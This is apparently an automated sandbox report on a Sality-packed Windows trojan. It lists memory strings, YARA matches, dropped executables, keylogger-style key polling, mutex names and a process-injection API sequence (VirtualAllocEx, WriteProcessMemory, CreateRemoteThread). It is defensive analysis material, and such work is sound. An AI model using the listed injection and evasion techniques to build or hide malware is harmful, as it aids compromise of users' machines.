Source: explorer.exe, 0000001B.00000000.1473435929.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.3922456855.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000003.2296446015.0000000007065000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/news/politics/trump-whines-to-cameras-in-ny-fraud-case-before-fleeing-to-f
Source: explorer.exe, 0000001B.00000000.1473435929.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.3922456855.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000003.2296446015.0000000007065000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/news/technology/a-federal-emergency-alert-will-be-sent-to-us-phones-nation
Source: explorer.exe, 0000001B.00000000.1473435929.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.3922456855.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000003.2296446015.0000000007065000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/news/technology/prehistoric-comet-impacted-earth-and-triggered-the-switch-
Source: explorer.exe, 0000001B.00000000.1473435929.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.3922456855.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000003.2296446015.0000000007065000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/news/us/biden-administration-waives-26-federal-laws-to-allow-border-wall-c
Source: explorer.exe, 0000001B.00000000.1473435929.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.3922456855.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000003.2296446015.0000000007065000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/news/us/dumb-and-dumber-12-states-with-the-absolute-worst-education-in-the
Source: explorer.exe, 0000001B.00000000.1473435929.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.3922456855.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000003.2296446015.0000000007065000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/news/world/a-second-war-could-easily-erupt-in-europe-while-everyone-s-dist
Source: explorer.exe, 0000001B.00000000.1473435929.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.3922456855.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000003.2296446015.0000000007065000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/news/world/england-considers-raising-smoking-age-until-cigarettes-are-bann
Source: explorer.exe, 0000001B.00000000.1473435929.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.3922456855.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000003.2296446015.0000000007065000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/news/world/nobel-prize-in-literature-to-be-announced-in-stockholm/ar-AA1hI
Source: explorer.exe, 0000001B.00000000.1473435929.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.3922456855.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000003.2296446015.0000000007065000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/news/world/ukraine-live-briefing-biden-expresses-worry-about-congressional
Source: explorer.exe, 0000001B.00000000.1473435929.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.3922456855.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000003.2296446015.0000000007065000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/weather/topstories/accuweather-el-ni
Source: explorer.exe, 0000001B.00000000.1473435929.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.3922456855.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000003.2296446015.0000000007065000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/weather/topstories/first-map-of-earth-s-lost-continent-has-been-published/
Source: explorer.exe, 0000001B.00000000.1473435929.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.3922456855.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000003.2296446015.0000000007065000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/weather/topstories/stop-planting-new-forests-scientists-say/ar-AA1hFI09
Source: SearchApp.exe, 0000001F.00000000.1608113405.000001D62E2D1000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001F.00000000.1592907269.000001D62DC47000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001F.00000000.1616012570.000001D6305B0000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://www.msn.com/finance?OCID=WSB_TL_FN&PC=wsbmsnqs
Source: SearchApp.exe, 0000001F.00000000.1608113405.000001D62E2D1000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001F.00000000.1616012570.000001D6305B0000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://www.msn.com/news?OCID=WSB_QS_NE&PC=wsbmsnqs
Source: SearchApp.exe, 0000001F.00000000.1592907269.000001D62DC47000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/news?OCID=WSB_QS_NE&PC=wsbmsnqsD
Source: SearchApp.exe, 0000001F.00000000.1538337910.000001CE189D8000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/spartan/dhp(
Source: SearchApp.exe, 0000001F.00000000.1538337910.000001CE189D8000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/spartan/mmx
Source: SearchApp.exe, 0000001F.00000000.1538337910.000001CE189D8000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/spartan/ntp
Source: SearchApp.exe, 0000001F.00000000.1608113405.000001D62E2D1000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001F.00000000.1592907269.000001D62DC47000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001F.00000000.1616012570.000001D6305B0000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://www.msn.com/sports?OCID=WSB_TL_EL&PC=wsbmsnqs
Source: SearchApp.exe, 0000001F.00000000.1608113405.000001D62E2D1000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001F.00000000.1592907269.000001D62DC47000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001F.00000000.1616012570.000001D6305B0000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://www.msn.com/weather?OCID=WSB_QS_WE&PC=wsbmsnqs
Source: explorer.exe, 0000001B.00000000.1473435929.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.3922456855.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000003.2296446015.0000000007065000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com:443/en-us/feed
Source: explorer.exe, 0000001B.00000000.1473435929.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.3922456855.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000003.2296446015.0000000007065000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.stacker.com/arizona/phoenix
Source: explorer.exe, 0000001B.00000000.1473435929.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.3922456855.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000003.2296446015.0000000007065000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.starsinsider.com/n/154870?utm_source=msn.com&utm_medium=display&utm_campaign=referral_de
Source: explorer.exe, 0000001B.00000000.1473435929.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.3922456855.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000003.2296446015.0000000007065000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.yelp.com
Source: svchost.exe, 00000017.00000000.1450927769.000001697A6A9000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001F.00000000.1555660231.000001D61A642000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001F.00000000.1550771232.000001D619B3D000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://xsts.auth.xboxlive.com
Source: svchost.exe, 00000017.00000000.1450927769.000001697A6A9000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001F.00000000.1550771232.000001D619B3D000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://xsts.auth.xboxlive.com/
Potential key logger detected (key state polling based)
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Code function: 6_2_004336B0 GetKeyState,GetKeyState,GetKeyState,GetKeyState, 6_2_004336B0
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Code function: 6_2_00431920 IsWindowEnabled,TranslateAccelerator,IsChild,GetFocus,PostMessageA,PostMessageA,SendMessageA,IsChild,IsWindow,IsWindowVisible,SendMessageA,SendMessageA,SendMessageA,SendMessageA,GetParent,SendMessageA,WinHelpA,GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyState,IsWindow, 6_2_00431920

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 6.3.#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe.8dcfe8.2.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or Sality Author: ditekSHen
Source: 6.2.#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe.24a2300.9.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or Sality Author: ditekSHen
Source: 6.3.#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe.8c79b4.1.unpack, type: UNPACKEDPE Matched rule: Detects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or Sality Author: ditekSHen
Source: 6.2.#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe.24a25f4.8.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or Sality Author: ditekSHen
Source: 6.3.#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe.872d5c.0.unpack, type: UNPACKEDPE Matched rule: Detects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or Sality Author: ditekSHen
Source: 6.2.#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe.8dcfe8.5.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or Sality Author: ditekSHen
Source: 6.2.#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe.2420000.7.unpack, type: UNPACKEDPE Matched rule: Detects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or Sality Author: ditekSHen
Source: C:\lwkdr.exe, type: DROPPED Matched rule: Detects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or Sality Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\winxmkqo.exe, type: DROPPED Matched rule: Detects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or Sality Author: ditekSHen
PE file contains section with special chars
Source: MyProg.exe.9.dr Static PE information: section name: Y|uR
PE file has a writeable .text section
Source: lwkdr.exe.6.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: YMZwp.exe.6.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: winxmkqo.exe.6.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Abnormal high CPU Usage
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Process Stats: CPU usage > 49%
Contains functionality to call native functions
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Code function: 6_2_004BE74F NtdllDefWindowProc_A,CallWindowProcA, 6_2_004BE74F
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Code function: 6_2_004C0306 NtdllDefWindowProc_A, 6_2_004C0306
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Code function: 6_2_004343B0 GetClassInfoA,NtdllDefWindowProc_A, 6_2_004343B0
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Code function: 6_2_0042E630 GetClassInfoA,LoadCursorA,GetStockObject,NtdllDefWindowProc_A, 6_2_0042E630
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Code function: 6_2_004BEAF7 GetWindowRect,wsprintfA,wsprintfA,GetClassInfoA,NtdllDefWindowProc_A, 6_2_004BEAF7
Detected potential crypto function
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Code function: 6_2_00478200 6_2_00478200
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Code function: 6_2_004292C0 6_2_004292C0
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Code function: 6_2_004122D0 6_2_004122D0
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Code function: 6_2_00442520 6_2_00442520
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Code function: 6_2_00491670 6_2_00491670
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Code function: 6_2_0042B630 6_2_0042B630
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Code function: 6_2_004B3786 6_2_004B3786
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Code function: 6_2_004B783A 6_2_004B783A
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Code function: 6_2_0043CA90 6_2_0043CA90
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Code function: 6_2_0042CB20 6_2_0042CB20
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Code function: 6_2_00435B20 6_2_00435B20
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Code function: 6_2_00433D70 6_2_00433D70
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Code function: 6_2_00454DB8 6_2_00454DB8
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Code function: 6_2_0045DE80 6_2_0045DE80
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Code function: 6_2_02429652 6_2_02429652
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Code function: 6_2_024322A0 6_2_024322A0
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Code function: 6_2_02426A85 6_2_02426A85
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe Code function: 9_2_00B36D00 9_2_00B36D00
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe F2DE2A37E6DFC90FFD0162EF11A7C9792850E37767B1E2C5AD28C751D18D750F
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Local\Temp\YMZwp.exe 4354970CCC7CD6BB16318F132C34F6A1B3D5C2EA7FF53E1C9271905527F2DB07
Found potential string decryption / allocating functions
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Code function: String function: 004ADD18 appears 57 times
One or more processes crash
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7348 -s 1624
PE file contains executable resources (Code or Archives)
Source: MyProg.exe.9.dr Static PE information: Resource name: RT_VERSION type: MIPSEB-LE ECOFF executable not stripped - version 0.79
PE file contains more sections than normal
Source: msedge.exe.6.dr Static PE information: Number of sections : 14 > 10
Uses 32bit PE files
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
Yara signature match
Source: 6.3.#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe.8dcfe8.2.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_EXE_Packed_SimplePolyEngine author = ditekSHen, description = Detects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or Sality
Source: 6.2.#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe.24a2300.9.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_EXE_Packed_SimplePolyEngine author = ditekSHen, description = Detects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or Sality
Source: 6.3.#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe.8c79b4.1.unpack, type: UNPACKEDPE Matched rule: INDICATOR_EXE_Packed_SimplePolyEngine author = ditekSHen, description = Detects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or Sality
Source: 6.2.#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe.24a25f4.8.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_EXE_Packed_SimplePolyEngine author = ditekSHen, description = Detects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or Sality
Source: 6.3.#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe.872d5c.0.unpack, type: UNPACKEDPE Matched rule: INDICATOR_EXE_Packed_SimplePolyEngine author = ditekSHen, description = Detects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or Sality
Source: 6.2.#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe.8dcfe8.5.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_EXE_Packed_SimplePolyEngine author = ditekSHen, description = Detects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or Sality
Source: 6.2.#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe.2420000.7.unpack, type: UNPACKEDPE Matched rule: INDICATOR_EXE_Packed_SimplePolyEngine author = ditekSHen, description = Detects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or Sality
Source: C:\lwkdr.exe, type: DROPPED Matched rule: INDICATOR_EXE_Packed_SimplePolyEngine author = ditekSHen, description = Detects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or Sality
Source: C:\Users\user\AppData\Local\Temp\winxmkqo.exe, type: DROPPED Matched rule: INDICATOR_EXE_Packed_SimplePolyEngine author = ditekSHen, description = Detects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or Sality
Source: YMZwp.exe.6.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: lwkdr.exe.6.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: YMZwp.exe.6.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: winxmkqo.exe.6.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: lwkdr.exe.6.dr Static PE information: Section .text
Source: winxmkqo.exe.6.dr Static PE information: Section .text
Source: YMZwp.exe.6.dr Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESERVED size: 0x100000 address: 0x0
Source: msedge.exe.6.dr Binary string: @g_interceptionsntdll.dllg_originals\Device\\/?/?\\??\ntdll.dllRtlInitUnicodeStringntdll.dll\KnownDllsDeriveRestrictedAppContainerSidFromAppContainerSidAndRestrictedNameuserenvchromeInstallFileslpacChromeInstallFilesmediaFoundationCdmFileslpacMediaFoundationCdmDatalpacEdgeWdagCommslpacChromeNetworkSandboxKeyg_handles_to_close
Source: msedge.exe.6.dr Binary string: \\.\\Device\DeviceApi\Device\DeviceApi\CMApintdll.dllHKEY_CLASSES_ROOTHKEY_CURRENT_USERHKEY_LOCAL_MACHINEHKEY_USERSHKEY_PERFORMANCE_DATAHKEY_PERFORMANCE_TEXTHKEY_PERFORMANCE_NLSTEXTHKEY_CURRENT_CONFIGHKEY_DYN_DATA\Device\\Device\HarddiskVolume
Source: classification engine Classification label: mal100.spre.troj.evad.winEXE@8/133@107/5
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Code function: 6_2_0242CC92 OpenProcess,GetLastError,GetVersionExA,GetCurrentThread,OpenThreadToken,GetLastError,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,GetLastError,CloseHandle,OpenProcess,AdjustTokenPrivileges,FindCloseChangeNotification,OpenProcessToken,GetTokenInformation,GetLastError,GetProcessHeap,RtlAllocateHeap,GetTokenInformation,LookupAccountSidA,lstrcmpiA,lstrcmpiA,lstrcmpiA,CreateMutexA,VirtualAllocEx,WriteProcessMemory,CreateRemoteThread,VirtualAllocEx,lstrlen,WriteProcessMemory,CreateRemoteThread,FindCloseChangeNotification,CloseHandle,GetProcessHeap,HeapFree, 6_2_0242CC92
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe Code function: 9_2_00B3119F GetCurrentProcess,OpenProcessToken,AdjustTokenPrivileges,CloseHandle,CloseHandle, 9_2_00B3119F
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Code function: 6_2_0242D2B0 CreateToolhelp32Snapshot,Process32First,lstrlen,lstrcpyn,lstrcpy,CharLowerA,lstrlen,wsprintfA,CreateMutexA,GetLastError,ReleaseMutex,CloseHandle,Process32Next,lstrlen,lstrcpyn,lstrcpy,CharLowerA,lstrlen,wsprintfA,CreateMutexA,GetLastError,ReleaseMutex,FindCloseChangeNotification,CloseHandle, 6_2_0242D2B0
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Code function: 6_2_004BD591 __EH_prolog,FindResourceA,LoadResource,LockResource,IsWindowEnabled,EnableWindow,EnableWindow,GetActiveWindow,SetActiveWindow, 6_2_004BD591
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\k1[1].rar Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\ibeuodtjakpfnfcsv.exeM_6600_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\ibeuodtjakpfnfcsv.exeM_3736_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_2584_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\csrss.exeM_412_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\wmiprvse.exeM_5904_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\ibeuodtjakpfnfcsv.exeM_6220_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\runtimebroker.exeM_7944_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_7796_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_3836_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1916_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1928_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\shellexperiencehost.exeM_7716_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\ibeuodtjakpfnfcsv.exeM_5264_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_6820_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\ibeuodtjakpfnfcsv.exeM_5708_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_2256_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\ibeuodtjakpfnfcsv.exeM_2156_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\sihclient.exeM_2784_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_3932_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\ibeuodtjakpfnfcsv.exeM_1948_
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_2680_
